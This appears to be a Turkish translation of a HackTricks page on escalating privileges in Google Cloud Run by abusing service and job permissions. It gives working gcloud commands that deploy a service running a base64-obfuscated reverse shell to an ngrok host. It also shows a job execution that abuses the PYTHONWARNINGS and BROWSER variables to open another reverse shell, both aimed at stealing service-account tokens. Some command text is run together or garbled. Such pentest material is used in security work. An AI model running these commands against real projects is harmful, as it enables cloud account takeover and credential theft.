Bu izinlere sahip bir saldırgan, rastgele kod çalıştıran bir çalıştırma hizmeti oluşturabilir (rastgele Docker konteyneri), bir Hizmet Hesabını buna ekleyebilir ve kodun Hizmet Hesabı belirteçini metadatanın dışına çıkarmasını sağlayabilir.
Bu yöntem için bir saldırı betiği burada bulunabilir ve Docker imajı burada bulunabilir.
gcloud run deploy kullanırken sadece hizmet oluşturmak yerine update iznine ihtiyaç duyar. Bir örneğe buradan bakın.
run.services.update, iam.serviceAccounts.actAs
Öncekine benzer ancak bir hizmeti günceller:
gcloudrundeployhacked \--image=ubuntu:latest \--command=bash \--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \--service-account="<proj-num>-compute@developer.gserviceaccount.com" \--region=us-central1 \--allow-unauthenticated# If you don't have permissions to use "--allow-unauthenticated", dont use it
run.services.setIamPolicy
Kendinize bulut Run üzerinde önceki izinleri verin.
run.jobs.create, run.jobs.run, (run.jobs.get)
Komutta belirtilen hizmet hesabını çalmak için ters kabukla bir işlem başlatın. Bir sızma burada bulabilirsiniz.
İş yürütme ortam değişkenlerini kötüye kullanarak keyfi kod yürüterek ters kabuk almak için iş yürütme ortam değişkenlerini kötüye kullanın ve konteynerın içeriğini (kaynak kodu) boşaltmak ve metaverideki SA'ya erişmek:
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
çrun.jobs.setIamPolicy
Kendinize önceki izinleri Cloud Jobs üzerinde verin.
Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!